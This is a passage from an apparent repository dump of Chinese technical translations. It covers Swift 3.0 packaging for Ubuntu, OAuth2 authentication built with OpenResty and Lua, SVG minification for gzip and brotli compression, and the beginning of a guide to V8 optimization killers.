example-packager-dealer\n    swift build\n    Compiling Swift Module 'FisherYates' (1 sources)\n    Linking Library:  .build/debug/FisherYates.a\n    Compiling Swift Module 'PlayingCard' (3 sources)\n    Linking Library:  .build/debug/PlayingCard.a\n    Compiling Swift Module 'DeckOfPlayingCards' (1 sources)\n    Linking Library:  .build/debug/DeckOfPlayingCards.a\n    Compiling Swift Module 'Dealer' (1 sources)\n    Linking Executable:  .build/debug/Dealer\n\n运行 Swift 3.0!\n\n```\n.build/debug/Dealer\n```\n\n## FAQ\n\n**Q.** Apple 官方会编译这些二进制文件吗？\n\n**A.** 并不会，我在自己的个人服务器上编译它们，你们可以参考[这里](http://dev.iachieved.it/iachievedit/keeping-up-with-open-source-swift/)\n\n**Q.** 编译项目中的 git 修改版本怎么查找？\n\n**A.** 你可以使用 `apt-cache show swift-3.0` 指令来查看这项信息。比如:\n\n    # apt-cache show swift-3.0\n    Package: swift-3.0\n    Status: install ok installed\n    Priority: optional\n    Section: development\n    Installed-Size: 281773\n    Maintainer: iachievedit (support@iachieved.it)\n    Architecture: amd64\n    Version: 1:3.0-0ubuntu2\n    Depends: clang (&gt;= 3.6), libicu-dev\n    Conflicts: swift-2.2\n    Description: Open Source Swift\n     This is a packaged version of Open Source Swift 3.0 built from\n     the following git revisions of the Apple Github repositories:\n           Clang:  c18bb21a04\n            LLVM:  0d07a5d3d5\n           Swift:  8aa4dadf92\n      Foundation:  dc4fa2d80b\n    Description-md5: 08508c39657c159d064917af87d8d411\n    Homepage: http://dev.iachieved.it/iachievedit/swift\n\n每次编译原始树_未受影响_。\n\n**Q.** 上传二进制文件前你测试过它们吗？\n\n**A.** Swift 进行编译时会对产生的二进制文件进行测试，然后我会做一些基础测试并用它编译我自己的应用程序，但是现在没有详尽全面的测试用例。\n\n**Q.** 你会按照时间表定期编译吗？\n\n**A.** 并不会，尽管我想尝试与 Apple 官方保持同步。然而我的想法只是做一下实验，从而我可以在 Linux 上编写 Swift 程序。\n\n**Q.** 所有内容会被安装到哪里？\n\n**A.**所有内容会被放在 `/usr` 目录下，就像安装 `clang` 、 `gcc` 那样。\n\n**Q.** 如何理解包版本号的意义？\n\n**A.** 这就是我一开始就想到的问题，我认为应该需要一个合适的包版本号。把 `3.0-0ubuntu2~trusty1` 分解一下，应该是这样：\n\n*   3.0 是指所打包的 Swift 版本。\n*   -0ubuntu2 表示为 Ubuntu 打包的第二个版本，0 表示其上没有依赖的 Debian 包。\n*   ~trusty1 表示这个包是为 Trusty Tahr 准备的。\n\nWily 的包版本号并不包括任何类似 `~wiley1` 这样的内容，因为从 Trusty 升级到 Wiley 后，它能够正确地自动更新 `swift-3.0` 的包。\n\n我_认为_这样是对的，但是如果你有其他想法，可以发邮件到 `support@iachieved.it` 。\n\n## 工作原理是什么?\n\n我参考了[这些超赞的指南](http://xn.pinkhamster.net/blog/tech/host-a-debian-repository-on-s3.html)，在 Amazon S3 上搭建了一个 Debian 包仓库。我试着在上面建立了一个 PPA (译者注:Personal-Package-Archives，个人软件包档案) 发布平台，但是说实话，为了发布一个简单的包处理如此多的元数据真的非常痛苦。我明确知道搭建分发仓库很必要，但是这样做又有一些过头。不过那些开发 [fpm](https://github.com/jordansissel/fpm) 的人也有一些关于这个的建议。\n\n那些打包好用来编译内容并且上传到仓库的脚本可以在 [Github](https://github.com/iachievedit/package-swift) 上找到。学习 Swift 3.0 可以查看 `swift-3.0` 分支。\n"
  },
  {
    "path": "TODO/OAuth2 Authentication with Lua.md",
    "content": "* 原文链接 : [OAuth2 Authentication with Lua](http://lua.space/webdev/oauth2-authentication-with-lua)\n* 原文作者 : [Israel Sotomayor](https://github.com/zot24)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [BOBO](https://github.com/CoderBOBO)\n* 校对者: [Adam Shen](https://github.com/shenxn) [joyking7](https://github.com/joyking7)\n\n# 使用 Lua 完成 OAuth2 的身份验证\n\n在此说明该教程将不提供详细的技术指导，教您如何使用 [OpenResty](https://openresty.org) + [Lua](http://www.lua.org) 构建自己的认证层，而是讲解一下解决方案背后的处理过程。\n\n这是一个真实的案例：[moltin](https://moltin.com)'s API 如何依赖 [OpenResty](https://openresty.org) + [Lua](http://www.lua.org) 来为所有的用户处理 oauth2 身份认证\n\n用于验证用户的方法最初是被在运用在 PHP 框架 [Laravel](https://laravel.com/) 所搭建的 [moltin](https://moltin.com)  相关的 API 当中。这就意味着在认证身份、驳回请求或验证消息从而导致高度延时的用户请求之前需启动大量的代码。\n\n我不会详细地去介绍一个PHP框架需要花多长时间才能给出一个基本响应，但如果我们将它和其他语言/框架进行比较，也许你就可以理解相关的差异。\n\n以下是它所呈现的大致情景：\n\n    ...\n    public function filter($route, $request) {\n        try {\n            // Initiate the Request handler\n            $this->request = new OAuthRequest;\n            // Initiate the auth server with the models\n            $this->server  = new OAuthResource(new OAuthSession);\n            // Is it a valid token?   \n            if ($this->accessTokenValid() == false) {\n                throw new InvalidAccessTokenException('Unable to validate access token');\n            }\n    ...\n\n那么，我们决定将所有逻辑提升一层至 [OpenResty](https://openresty.org) + [Lua](http://www.lua.org) ，便能实现如下几点：\n\n*   解除与Monolitic API之间的耦合关系。\n*   改进认证次数和生成的访问/刷新令牌。\n*   改进拒绝非法访问令牌和身份验证证书的次数。\n*   改进身份验证访问令牌时的次数和重定向后再次向API发送请求的次数。\n\n我们希望并需要在请求 API 之前更好地控制每个请求，因此我们决定采用速度足够快的工具，使我们能对每个请求进行预处理，并可以十分灵活地将它们集成到我们的实际系统中。最终，我们选择了 OpenResty（一个 [Nginx](https://www.nginx.com/) 的修改版本），这使得我们可以使用 [Lua](http://www.lua.org) 来预先处理这些请求。因为 [Lua](http://www.lua.org) 强大并且速度快，足以解决这些问题，并且 [Lua](http://www.lua.org) 是许多大公司每天都在使用的一种受到高度认可的脚本语言。\n\n我们跟随Kong背后的思想使用 [OpenResty](https://openresty.org) + [Lua](http://www.lua.org) 脚本，[Kong](https://github.com/Mashape/kong) 提供了一些可插入到你的API项目中的微服务。然而，我们发现Kong仍处于一个非常初期的阶段，实际上kong正在试图提供更多我们需要的东西。因此，我们决定实现自己的验证层，使我们对它有更多的控制权。\n\n\n### 基础架构\n\n[moltin](https://moltin.com) 当前的基础架构\n\n![](https://moltin.com/files/large/67b084c60b6d0ff)\n\n*   OpenResty (Nginx)\n*   Lua scripts\n*   Caching Layer (Redis)\n\n#### OpenResty\n\n这是一些配置的规则\n\n![](https://moltin.com/files/large/8b359a7b2bad55a)\n\n我们设置了一些路由来处理不同用户的请求，你可以看到如下情况：\n\n**nginx.conf**\n\n    location ~/oauth/access_token {\n        ...\n    }\n    location /v1 {\n        ...\n    }\n\nSo for each of those endpoints we have to:\n\n*   check the authentication access token\n*   get the authentication access token\n\n    ...\n    location ~/oauth/access_token {\n        content_by_lua_file \"/opt/openresty/nginx/conf/oauth/get_oauth_access.lua\";\n        ...\n    }\n\n    location /v1 {\n        access_by_lua_file \"/opt/openresty/nginx/conf/oauth/check_oauth_access.lua\";\n       ...\n    }\n    ...\n\n我们利用OpenResty的这两条指令 [content_by_lua_file](https://github.com/openresty/lua-nginx-module#content_by_lua_file) 和[access_by_lua_file](https://github.com/openresty/lua-nginx-module#access_by_lua_file)。\n\n#### Lua 脚本\n\n这是个不可思议的环节。我们需要编写两个lua脚本来做到这一点：\n\n**get_oauth_access.lua**\n\n    ...\n    ngx.req.read_body()\n    args, err = ngx.req.get_post_args()\n\n    -- If we don't get any post data fail with a bad request\n    if not args then\n        return api:respondBadRequest()\n    end\n\n    -- Check the grant type and pass off to the correct function\n    -- Or fail with a bad request\n    for key, val in pairs(args) do\n        if key == \"grant_type\" then\n            if val == \"client_credentials\" then\n                ClientCredentials.new(args)\n            elseif val == \"password\" then\n                Password.new(args)\n            elseif val == \"implicit\" then\n                Implicit.new(args)\n            elseif val == \"refresh_token\" then\n                RefreshToken.new(args)\n            else\n                return api:respondForbidden()\n            end\n        end\n    end\n\n    return api:respondOk()\n    ...\n\n**check_oauth_access.lua**\n\n    ...\n    local authorization, err = ngx.req.get_headers()[\"authorization\"]\n\n    -- If we have no access token forbid the beasts\n    if not authorization then\n        return api:respondUnauthorized()\n    end\n\n    -- Check for the access token\n    local result = oauth2.getStoredAccessToken(token)\n\n    if result == false then\n        return api:respondUnauthorized()\n    end\n    ...\n\n#### 缓存层\n\n在这创建并且存储访问的令牌。我们可以按照自己的意愿对其进行删除、终止或刷新。我们将Redis作为存储层，使用 [openresty/lua-resty-redis](https://github.com/openresty/lua-resty-redis) 把Lua连接到Redis上。\n\n### 资源\n\n\n以下是我们在创建验证层时所用到的一些与Lua相关的有趣资源。\n\n#### Lua\n\n*   [Lua formdata type](http://blog.zot24.com/lua-formdata-type/)\n*   [Lua sugar syntax double dots](http://blog.zot24.com/lua-sugar-syntax-double-dots/)\n*   [How to use a classs constructor on Lua](http://blog.zot24.com/how-to-use-a-classs-constructor-on-lua/)\n*   [Returning status code with OpenResty Lua](http://blog.zot24.com/returning-status-code-with-openresty-lua/)\n*   [Return JSON responses when using OpenResty + Lua](http://blog.zot24.com/return-json-responses-when-using-openresty-lua/)\n*   [When ngx exit using OpenResty precede it with return](http://blog.zot24.com/when-ngx-exit-using-openresty-precede-it-with-return/)\n"
  },
  {
    "path": "TODO/Of SVG, Minification and Gzip",
    "content": "> * 原文地址：[Of SVG, Minification and Gzip](https://blog.usejournal.com/of-svg-minification-and-gzip-21cd26a5d007)\n> * 原文作者：[Anton Khlynovskiy](https://blog.usejournal.com/@subzey?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/of-svg-minification-and-gzip.md](https://github.com/xitu/gold-miner/blob/master/TODO/of-svg-minification-and-gzip.md)\n> * 译者：\n> * 校对者：\n\n# Of SVG, Minification and Gzip\n\n![](https://cdn-images-1.medium.com/max/800/1*p926hOBc0YrbqPceYbLk0A.png)\n\nSmaller files are downloaded faster, so making an asset file size smaller before sending it to a client is a good thing to do.\n\nActually, it’s not just a good thing to do, minification and compression are something that a modern developer is _supposed_ to do. But minifiers are not perfect and compressors can perform better or worse depending on the data they compress. There are some tricks and patterns to turn these tools up to eleven. Interested? Let’s dive in!\n\n### Getting Started\n\nWe’ll use a simple SVG file as an example:\n\n![](https://cdn-images-1.medium.com/max/800/1*_ScxMaOWN_FCnKKJlQ3oQQ.png)\n\nAn `<svg>` image with two 6×6 squares (`<rect>`) inside a 10×10 pixels area (`viewBox`). 176 bytes raw, 138 b gzipped.\n\nYup, it’s not a piece of fine art. But it’s enough to cover the topic without turning this Medium post into a scientific paper.\n\n### Step 0: Svgo\n\nRunning `svgo image.svg` instantly improves the compression.\n\n![](https://cdn-images-1.medium.com/max/800/1*LwteS1LS9iPlpJOtllVqbA.png)\n\n_(Carriage returns and indentations are added for readability)_\n\nThe most notably, the `rect`s were replaced with `path`s. A path shape is defined by its `d` attribute, a sequence of commands that moves a virtual pen just like canvas drawing methods. Commands can be absolute (move **to** x, y) and relative (move **by** x, y). Let’s take a closer look at one of the paths:\n\n`M 0 0`: start at (0, 0)\n`h 6`: move horizontally by 6 px right\n`v 6`: move vertically by 6 px down\n`H 0`: move horizontally to x = 0\n`z`: close path: move to the point the path was started\n\nQuite an elaborate way to draw a square! But it’s a more compact representation than a `rect` element.\n\nThe other change is that `#f00` became `red`. One byte less, yay!\n\nThe file is now 135 b raw, 126 b gzipped.\n\n### Step 1: Scale Everything\n\nYou might have noticed all the coordinates in both paths are even. What if we divide each coordinate by two?\n\n![](https://cdn-images-1.medium.com/max/800/1*LNM-zlZDg_s99ZxSOk6KYw.png)\n\nThe image now looks the same, but it’s twice as small. Now we can just scale the `viewBox` and the image looks correct again.\n\n![](https://cdn-images-1.medium.com/max/800/1*ci39eVsuha9jkXj-APDOXA.png)\n\n133 bytes raw, 124 bytes gzipped.\n\n### Step 2: Unclosed paths\n\nBack to the paths. The last commands in both paths are `z`, “close path”. But paths are implicitly closed when they are filled. So we could just remove those commands.\n\n![](https://cdn-images-1.medium.com/max/800/1*mBTPJaeMYpb1ekVmPzhuiA.png)\n\n2 raw bytes less, now the file is 131 b long, 122 gzipped. Fewer raw bytes makes fewer compressed bytes, seems legit. And we’ve already saved 4 gzipped bytes even after svgo.\n\n_You might wonder: why doesn’t svgo make these optimizations automatically. The reason is that scaling an image and removing the trailing z commands are unsafe. Here, take a look:_\n\n![](https://cdn-images-1.medium.com/max/800/1*TV-Vc8ehkKYNkuVqgFJmoQ.png)\n\nVarious versions of the image with the stroke applied. Left to right: original, unclosed, unclosed & scaled.\n\n_Strokes are all messed up. It’s good to know we’re not going to use strokes. Svgo cannot know that, so it has to play safe, avoiding potentially unsafe transformations._\n\nLooks like there’s nothing else to remove from the code. The XML syntax is strict, all the attributes are required and its values cannot be left unquoted.\n\nIs that all? Oh, no, it’s just the beginning.\n\n### Step 3: Reducing the Alphabet\n\nNow it’s time to introduce a very handy tool, [gzthermal](https://encode.ru/threads/1889-gzthermal-pseudo-thermal-view-of-Gzip-Deflate-compression-efficiency). It analyzes the gzipped file and colors the raw bytes depending on how many bits are used to encode. Better compressed data is green, worse compressed one is red, it’s that simple.\n\n![](https://cdn-images-1.medium.com/max/800/1*wrB-Z6jgspiHE8tculNVVw.png)\n\nLet’s take a look at the d attributes again. Particularly at the M commands as they are marked red and worth our attention. No, we cannot delete those, but we can make it a relative command: `m2 2`.\n\nThe initial “cursor” position is the axis origin, (0, 0), so there’s no difference between moving **to** (2, 2) and moving **by** (2, 2) from the origin. So, let’s try that.\n\n![](https://cdn-images-1.medium.com/max/800/1*eogrWPzKTpjvhnkFhhPcZg.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*Vk-9DDQMFoBraOaWAOF74Q.png)\n\nStill 131 bytes raw, but 121 bytes gzipped. _Whoa!_ What just happened? The answer is…\n\n#### Huffman Trees\n\nGzip is powered by the [DEFLATE](https://en.wikipedia.org/wiki/DEFLATE) algorithm, and DEFLATE is built on top of Huffman trees.\n\nThe core idea of Huffman coding is that more frequent symbols are encoded with fewer bits, and vice versa, less frequent symbols need more bits.\n\n_Yes, bits, not bytes: DEFLATE treats a string of bytes just as a sequence of bits, and if there were 7, or 9, or 100 bits in a byte, DEFLATE would work just the same._\n\nAs an example we’ll take a string Test and construct the codes from its alphabet:\n`00` T\n`01` e\n`10` s\n`11` t\n\nNow to encode the string Test we just write out the bits for each character: `00011011`, 8 bits.\n\nNow let’s make an initial letter T lowercase, `test`, and try again:\n`0` t\n`10` e\n`11` s\n\nThe letter t is now more frequent and it gets a shorter, 1 bit, code. And the encoded string is: `010110`, 6 bits!\n\n* * *\n\nWe did just the same with the letter M in our SVG. After lowering the case there’s no more uppercase M left in the code, so it’s got thrown away from the tree entirely, making the average code length smaller.\n\nWhen writing a gzip friendly code, it’s generally a good idea to prefer more frequent characters and thus making those even more frequent. Even if you couldn’t make the code lengths smaller, more frequent chars are less bit consuming.\n\n### Step 4: Backreferences\n\nThere’s another DEFLATE feature: backreferences. Certain code points do not encode values directly, instead, it tell the decoder to copy some bytes that were decoded recently.\n\nSo instead of encoding raw bytes with the same bits again and again it can be referenced: _go back n bytes and copy m bytes_. For example:\n\n`Hey diddle diddle, the cat and the fiddle.`\n\n`Hey diddle**<7,7>**, the cat and**<12,5>**f**<24,5>**.`\n\nLuckily, gzthermal has a special mode that shows only backreferences. `gzthermal -z` gives the following image:\n\n![](https://cdn-images-1.medium.com/max/800/1*p3j1ITiSJDpNfV16YPRqng.png)\n\nLiteral bytes are painted orange, backrefs are blue. [Here’s the same image animated for better clarity.](https://github.com/subzey/svg-gz-supplement/blob/master/backrefs-animated.gif)\n\nThe second path is almost entirely constructed using backrefs, except the fill value, `m` command and the last `H` command. Nothing can be done with the fill and the m: the second square indeed has different color and positions.\n\nBut the shapes are the same, and we could state in more clearly for the gzip. We’ll just replace absolute commands `H 0` and `H 2` with a relative one: `h-3`.\n\n![](https://cdn-images-1.medium.com/max/800/1*oa2ts-oANaSS4hrIOlrXTg.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*ye5f4jzIDt5YYbCeLHa37A.png)\n\nNow two separate backrefs are joined into the single one, and the file is now 133 bytes raw, 119 bytes gzipped. We’ve added two uncompressed bytes, but the gzipped result is two bytes shorter!\n\nAnd we only care about the compressed size: There’s 99.9% chance an asset would be delivered to the client being compressed with gzip or brotli. By the way, talking of…\n\n### Brotli\n\n[Brotli](https://en.wikipedia.org/wiki/Brotli) is an algorithm presented in 2015 to replace gzip (from 1992) in web browsers. But in many aspects it works like gzip: it’s built upon Huffman coding and backreferences as well. So brotli can benefit all the tweaks we made for gzip. Let’s use it for all the steps we made and take a look.\n\nOriginal: 106 bytes\nAfter step 0 (svgo): 104 bytes\nAfter step 1 (viewBox): 105 bytes\nAfter step 2 (unclosed paths): 113 bytes\nAfter step 3 (lowercase m): 116 bytes\nAfter step 4 (relative commands): 102 bytes\n\nAs you can see, the final result is smaller than what the svgo offered us. That’s good evidence that all of gzip’s specific bells and whistles work for brotli as well.\n\nBut the intermediate results are… confusing. The “brotlied” file was only bigger. Brotli is not gzip, it’s a separate brand new algorithm. And despite all similarities with gzip there are certain differences.\n\nMost notably, brotli has the builtin predefined dictionary, it uses the context heuristics when encoding data, and the minimal backreference size is 2 bytes (gzip can only create backrefs of 3 bytes and longer).\n\nI’d say, brotli is _less predictable_ than gzip. I’d love to explain what caused the compression degradation, but unfortunately, I can’t. Gzip/DEFLATE has aforementioned gzthermal and a more powerful low level analyze tool, [defdb](https://encode.ru/threads/1428-defdb-a-tool-to-dump-the-deflate-stream-from-gz-and-png-files). Brotli has… none. All we’re left with is [the spec](https://tools.ietf.org/html/rfc7932) and the method of trial and error.\n\n### Trial and Error\n\nWe’ll try once more. This time we address the color inside the `fill` attribute. Sure, `red` is shorter than `#f00`, but maybe Brotli could utilize the longer backref.\n\n![](https://cdn-images-1.medium.com/max/800/1*MwGlmyjaYFlhUhxQ5d4xDA.png)\n\n120 bytes gzipped, 100 bytes brotlied. The gzip stream is now 1 byte longer and the brotli stream is 2 bytes shorter.\n\nIt’s better in brotli, but worse in gzip. And I suppose, it’s totally fine! Hardly ever could we optimize the data to get the _best possible_ results in two different compressors at once. The compression is like solving a horribly wrong Rubik’s cube: It cannot be solved correctly, it can only be solved good enough.\n\n### Conclusion\n\nAll the tweaks described above are not exclusively specific to SVG or to gzip. There are common principles of writing a more compressible code:\n\n1.  Compressing **smaller raw data** would probably produce smaller compressed data.\n2.  **Fewer distinct characters** means less entropy. Less entropy is better compression.\n3.  More frequently found characters are compressed with less number of bits. **Getting rid of less common characters** and **making the more common chars to be even more common** would most probably improve the compression.\n4.  **Long runs of duplicated code** are compressed with a few bits. [DRY](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself) is not always the best option. Sometimes you’d like to **repeat yourself** to get better results.\n5.  Sometimes more raw data will produce smaller compressed data. **Removing entropy** will allow the compressor to better remove what is redundant.\n\nYou can find all source, compressed images and extras in [this GitHub repo](https://github.com/subzey/svg-gz-supplement/).\n\nI hope, you liked this post, next time we’ll talk about compressing JavaScript in general and webpack bundles in particular.\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/Optimization-killers.md",
    "content": "> * 原文地址：[Optimization killers](https://github.com/petkaantonov/bluebird/wiki/Optimization-killers)\n> * 原文作者：[github.com/petkaantonov/bluebird](https://github.com/petkaantonov/bluebird)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[Aladdin-ADD](https://github.com/Aladdin-ADD),[zhaochuanxing](https://github.com/zhaochuanxing)\n\n# V8 性能优化杀手\n\n## 简介\n\n这篇文章给出了一些建议，让你避免写出性能远低于期望的代码。特别指出有一些代码会导致 V8 引擎（涉及到 Node.JS、Opera、Chromium 等）无法对相关函数进行优化。\n\nvhf 正在做一个类似的项目，试图将 V8 引擎的性能杀手全部列出来：[V8 Bailout Reasons](https://github.com/vhf/v8-bailout-reasons)。\n\n### V8 引擎背景知识\n\nV8 引擎中没有解释器，但有 2 种不同的编译器：普通编译器与优化编译器。编译器会将你的 JavaScript 代码编译成汇编语言后直接运行。但这并不意味着运行速度会很快。被编译成汇编语言后的代码并不能显著地提高其性能，它只能省去解释器的性能开销，如果你的代码没有被优化的话速度依然会很慢。\n\n例如，在普通编译器中 `a + b` 将会被编译成下面这样：\n\n```nasm\nmov eax, a\nmov ebx, b\ncall RuntimeAdd\n```\n\n换句话说，其实它仅仅调用了 runtime 函数。但如果 `a` 和 `b` 能确定都是整型变量，那么编译结果会是下面这样：\n\n```nasm\nmov eax, a\nmov ebx, b\nadd eax, ebx\n```\n\n它的执行速度会比前面那种去在 runtime 中调用复杂的 JavaScript 加法算法快得多。\n\n通常来说，使用普通编译器将会得到前面那种代码，使用优化编译器将会得到后面那种代码。走优化编译器的代码可以说比走普通编译器的代码性能好上 100 倍。但是请注意，并不是任何类型的 JavaScript 代码都能被优化。在 JS 中，有很多种情况（甚至包括一些我们常用的语法）是不能被优化编译器优化的（这种情况被称为“bailout”，从优化编译器降级到普通编译器）。\n\n记住一些会导致整个函数无法被优化的情况是很重要的。JS 代码被优化时，将会逐个优化函数，在优化各个函数的时候不会关心其它的代码做了什么（除非那些代码被内联在即将优化的函数中。）。\n\n这篇文章涵盖了大多数会导致函数坠入“无法被优化的深渊”的情况。不过在未来，优化编译器进行更新后能够识别越来越多的情况时，下面给出的建议与各种变通方法可能也会变的不再必要或者需要修改。\n\n## 主题\n\n1. [工具](#1-工具)\n2. [不支持的语法](#2-不支持的语法)\n3. [使用 `arguments`](#3-使用-arguments)\n4. [Switch-case](#4-switch-case)\n5. [For-in](#5-for-in)\n6. [退出条件藏的很深，或者没有定义明确出口的无限循环](#6-退出条件藏的很深-或者没有定义明确出口的无限循环)\n\n## 1. 工具\n\n你可以在 node.js 中使用一些 V8 自带的标记来验证不同的代码用法对优化的影响。通常来说你可以创建一个包括特定模式的函数，然后使用所有允许的参数类型去调用它，再使用 V8 的内部去优化与检查它：\n\ntest.js:\n\n```js\n//创建包含需要检查的情况的函数（检查使用 `eval` 语句是否能被优化）\nfunction exampleFunction() {\n    return 3;\n    eval('');\n}\n\nfunction printStatus(fn) {\n    switch(%GetOptimizationStatus(fn)) {\n        case 1: console.log(\"Function is optimized\"); break;\n        case 2: console.log(\"Function is not optimized\"); break;\n        case 3: console.log(\"Function is always optimized\"); break;\n        case 4: console.log(\"Function is never optimized\"); break;\n        case 6: console.log(\"Function is maybe deoptimized\"); break;\n        case 7: console.log(\"Function is optimized by TurboFan\"); break;\n        default: console.log(\"Unknown optimization status\"); break;\n    }\n}\n\n//识别类型信息\nexampleFunction();\n//这里调用 2 次是为了让这个函数状态从 uninitialized -> pre-monomorphic -> monomorphic\nexampleFunction();\n\n%OptimizeFunctionOnNextCall(exampleFunction);\n//再次调用\nexampleFunction();\n\n//检查\nprintStatus(exampleFunction);\n```\n\n运行它：\n\n```\n$ node --trace_opt --trace_deopt --allow-natives-syntax test.js\n(v0.12.7) Function is not optimized\n(v4.0.0) Function is optimized by TurboFan \n```\n\nhttps://codereview.chromium.org/1962103003\n\n为了检验我们做的这个工具是否真的有用，注释掉 `eval` 语句然后再运行一次：\n\n```bash\n$ node --trace_opt --trace_deopt --allow-natives-syntax test.js\n[optimizing 000003FFCBF74231 <JS Function exampleFunction (SharedFunctionInfo 00000000FE1389E1)> - took 0.345, 0.042, 0.010 ms]\nFunction is optimized\n```\n\n事实证明，使用这个工具来验证处理方法是可行且必要的。\n\n## 2. 不支持的语法\n\n有一些语法结构是不支持被编译器优化的，用这类语法将会导致包含在其中的函数不能被优化。\n\n**请注意**，即使这些语句不会被访问到或者不会被执行，它仍然会导致整个函数不能被优化。\n\n例如下面这样做是没用的：\n\n```js\nif (DEVELOPMENT) {\n    debugger;\n}\n```\n\n即使 debugger 语句根本不会被执行到，上面的代码将会导致包含它的整个函数都不能被优化。\n\n目前不可被优化的语法有：\n\n- ~~Generator 函数~~ （[V8 5.7](https://v8project.blogspot.de/2017/02/v8-release-57.html) 对其做了优化）\n- ~~包含 for of 语句的函数~~ （V8 commit [11e1e20](https://github.com/v8/v8/commit/11e1e20) 对其做了优化）\n- ~~包含 try catch 语句的函数~~ （V8 commit [9aac80f](https://github.com/v8/v8/commit/9aac80f) / V8 5.3 / node 7.x 对其做了优化）\n- ~~包含 try finally 语句的函数~~ （V8 commit [9aac80f](https://github.com/v8/v8/commit/9aac80f) / V8 5.3 / node 7.x 对其做了优化）\n- ~~包含[`let` 复合赋值](http://stackoverflow.com/q/34595356/504611)的函数~~ （Chrome 56 / V8 5.6! 对其做了优化）\n- ~~包含 `const` 复合赋值的函数~~ （Chrome 56 / V8 5.6! 对其做了优化）\n- 包含 `__proto__` 对象字面量、`get` 声明、`set` 声明的函数\n\n看起来永远不会被优化的语法有：\n\n- 包含 `debugger` 语句的函数\n- 包含字面调用 `eval()` 的函数\n- 包含 `with` 语句的函数\n\n最后明确一下：如果你用了下面任何一种情况，整个函数将不能被优化：\n\n```js\nfunction containsObjectLiteralWithProto() {\n    return {__proto__: 3};\n}\n```\n\n```js\nfunction containsObjectLiteralWithGetter() {\n    return {\n        get prop() {\n            return 3;\n        }\n    };\n}\n```\n\n```js\nfunction containsObjectLiteralWithSetter() {\n    return {\n        set prop(val) {\n            this.val = val;\n        }\n    };\n}\n```\n\n另外在此要特别提一下 `eval` 和 `with`，它们会导致它们的调用栈链变成动态作用域，可能会导致其它的函数也受到影响，因为这种情况无法从字面上判断各个变量的有效范围。\n\n**变通办法**\n\n前面提到的不能被优化的语句用在生产环境代码中是无法避免的，例如 `try-finally` 和 `try-catch`。为了让使用这些语句的影响尽量减小，它们需要被隔离在一个最小化的函数中，这样主要的函数就不会被影响：\n\n```js\nvar errorObject = {value: null};\nfunction tryCatch(fn, ctx, args) {\n    try {\n        return fn.apply(ctx, args);\n    }\n    catch(e) {\n        errorObject.value = e;\n        return errorObject;\n    }\n}\n\nvar result = tryCatch(mightThrow, void 0, [1,2,3]);\n//明确地报出 try-catch 会抛出什么\nif(result === errorObject) {\n    var error = errorObject.value;\n}\nelse {\n    //result 是返回值\n}\n```\n\n\n\n## 3. 使用 `arguments`\n\n有许多种使用 `arguments` 的方式会导致函数不能被优化。因此当使用 `arguments` 的时候需要格外小心。\n\n#### 3.1. 在非严格模式中，对一个已经被定义，同时在函数体中被 `arguments` 引用的参数重新赋值。典型案例：\n\n```js\nfunction defaultArgsReassign(a, b) {\n     if (arguments.length < 2) b = 5;\n}\n```\n\n**变通方法** 是将参数值保存在一个新的变量中：\n\n```js\nfunction reAssignParam(a, b_) {\n    var b = b_;\n    //与 b_ 不同，可以安全地对 b 进行重新赋值\n    if (arguments.length < 2) b = 5;\n}\n```\n\n如果仅仅是像上面这样用 `arguments`（上面代码作用为检测第二个参数是否存在，如果不存在则赋值为 5），也可以用 `undefined` 检测来代替这段代码：\n\n```js\nfunction reAssignParam(a, b) {\n    if (b === void 0) b = 5;\n}\n```\n\n但是之后如果需要用到 `arguments`，很容易忘记需要在这儿加上重新赋值的语句。\n\n**变通方法 2**：为整个文件或者整个函数开启严格模式 （`'use strict'`）。\n\n#### 3.2. arguments 泄露：\n\n```js\nfunction leaksArguments1() {\n    return arguments;\n}\n```\n\n```js\nfunction leaksArguments2() {\n    var args = [].slice.call(arguments);\n}\n```\n\n```js\nfunction leaksArguments3() {\n    var a = arguments;\n    return function() {\n        return a;\n    };\n}\n```\n\n`arguments` 对象在任何地方都不允许被传递或者被泄露。\n\n**变通方法** 可以通过创建一个数组来代理 `arguments` 对象：\n\n```js\nfunction doesntLeakArguments() {\n                    //.length 仅仅是一个整数，不存在泄露\n                    //arguments 对象本身的问题\n    var args = new Array(arguments.length);\n    for(var i = 0; i < args.length; ++i) {\n                //i 是 arguments 对象的合法索引值\n        args[i] = arguments[i];\n    }\n    return args;\n}\n\nfunction anotherNotLeakingExample() {\n    var i = arguments.length;\n    var args = [];\n    while (i--) args[i] = arguments[i];\n    return args\n}\n```\n\n但是这样要写很多让人烦的代码，因此得判断是否真的值得这么做。后面一次又一次的优化会代理更多的代码，越来越多的代码意味着代码本身的意义会被逐渐淹没。\n\n不过，如果你有 build 这个过程，可以将上面这一系列过程由一个不需要 source map 的宏来实现，保证代码为合法的 JavaScript：\n\n```js\nfunction doesntLeakArguments() {\n    INLINE_SLICE(args, arguments);\n    return args;\n}\n```\n\nBluebird 就使用了这个技术，上面的代码经过 build 之后会被拓展成下面这样：\n\n```js\nfunction doesntLeakArguments() {\n    var $_len = arguments.length;\n    var args = new Array($_len); \n    for(var $_i = 0; $_i < $_len; ++$_i) {\n        args[$_i] = arguments[$_i];\n    }\n    return args;\n}\n```\n\n#### 3.3. 对 arguments 进行赋值：\n\n在非严格模式下可以这么做：\n\n```js\nfunction assignToArguments() {\n    arguments = 3;\n    return 